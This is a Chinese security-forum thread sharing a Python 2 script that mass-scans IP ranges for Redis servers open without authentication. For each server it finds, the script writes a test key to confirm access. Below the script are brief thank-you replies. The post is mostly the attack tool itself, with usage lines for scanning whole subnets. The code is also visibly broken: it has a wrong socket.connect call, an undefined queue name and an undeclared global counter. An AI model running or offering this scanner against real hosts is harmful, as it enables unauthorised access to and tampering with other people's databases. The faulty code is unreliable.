查看: 93603|回复: 892

[Python] redis未授权访问批量扫描脚本

[复制链接]
  • TA的每日心情
    无聊
    2016-8-19 10:32
  • 签到天数: 80 天

    [LV.6]常住居民II

    发表于 2015-11-16 18:13:53 | 显示全部楼层 |阅读模式
    本帖最后由 王珂 于 2015-11-16 18:31 编辑

    实现功能:
    redis未授权批量访问

    首先会扫描端口开放的主机,然后测试是否存在未授权访问,提高速度

    使用帮助:
    从文本中读取内容
    python redis.py -f finename
    扫描C段
    python redis.py -t 127.0.0.1/24 -p 6379

    代码:
    [Python] 纯文本查看 复制代码
    #coding-utf-8
    #author:i3esn0w
    
    import redis
    import ipaddr
    import threading
    import Queue
    import sys
    import socket
    import time
    import optparse
    
    reload(sys)
    sys.setdefaultencoding("utf8")
    
    count=0
    hosts=Queue.Queue()
    targets=Queue.Queue()
    def get_all_host(filename):
    	with open(filename,"r") as f :
    		for host in f.readlines():
    			host=host.strip()
    			hosts.put(host)
    class host_alive(threading.Thread):
    	def __init__(self,queue):
    		threading.Thread.__init__(self)
    		self.queue=queue
    	def run(self):
    		while True:
    			t=self.queue.get()
    			host=t.split(":")
    			port=host[1]
    			host=host[0]
    			try:
    				s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    				s.connect(host,int(port))
    				print "%s:%s port open!"%(host,port)
    				target.put((host,port))
    			except Exception, e:
    				pass
    			finally:s.close()
    			time.sleep(0.00000001)
    			self.queue.task_done()
    
    class exploit_redis(threading.Thread):
    	def  __init__(self,queue):
    		threading.Thread.__init__(self)
    		self.queue=queue
    	def run(self):
    		while True:
    			host,port=self.queue.get()
    			host=host.__str__()
    			try:
    				p=redis.Redis(host=host,port=port)
    				p.set("hello","redis")
    				print "%s:%s Unauthorized"%(host,port)
    				count+=1
    			except Exception, e:
    				pass
    	
    
    
    def main():
    	option=optparse.OptionParser()
    	option.add_option('-f',dest='filename',default='')
    	option.add_option('-t',dest='host',default='')
    	option.add_option('-p',dest='port',default='6379')
    	(options, args) = option.parse_args()
    	if not options.filename=="":
    		get_all_host(options.filename)
    	if not options.host=="":
    		tars = ipaddr.IPv4Network(options.host)
    		for target in tars:
    			hosts.put(("%s:%s")%(target,options.port))
    	if options.filename=="" and options.host=="":
    		exit(0)
    	for i in range(20):
    		t=host_alive(hosts)
    		t.setDaemon(True)
    		t.start()
    	for i in range(20):
    		t=exploit_redis(targets)
    		t.setDaemon(True)
    		t.start()	
    	print "Find %s targets"%count
    
    
        	
    	
    
    
    
    
    if __name__ == '__main__':
    	main()
    
    
    

    评分

    参与人数 1i币 +7 收起 理由
    浮尘 + 7 感谢分享

    查看全部评分

    回复

    使用道具 举报

    该用户从未签到

    发表于 2015-11-16 19:33:09 | 显示全部楼层
    学习学习技术,加油!
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-11-17 20:20:39 | 显示全部楼层
    支持,看起来不错呢!
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-11-17 23:40:32 | 显示全部楼层
    感谢楼主的分享~
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-11-18 10:12:38 | 显示全部楼层
    学习学习技术,加油!
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-11-19 01:33:46 | 显示全部楼层
    支持,看起来不错呢!
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-11-19 20:26:13 | 显示全部楼层
    支持,看起来不错呢!
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-11-20 11:34:11 | 显示全部楼层
    学习学习技术,加油!
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2015-11-20 15:18:39 | 显示全部楼层
    感谢楼主的分享~
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    慵懒
    2019-4-14 17:44
  • 签到天数: 5 天

    [LV.2]偶尔看看I

    发表于 2015-11-21 13:16:00 | 显示全部楼层
    感谢楼主的分享~
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    指导单位

    江苏省公安厅

    江苏省通信管理局

    浙江省台州刑侦支队

    DEFCON GROUP 86025

    旗下站点

    邮箱系统

    应急响应中心

    红盟安全

    联系我们

    官方QQ群:112851260

    官方邮箱:security#ihonker.org(#改成@)

    官方核心成员

    Archiver|手机版|小黑屋| ( 苏ICP备2021031567号 )

    GMT+8, 2024-12-27 05:59 , Processed in 0.021091 second(s), 13 queries , Gzip On, MemCache On.

    Powered by ihonker.com

    Copyright © 2015-现在.

  • 返回顶部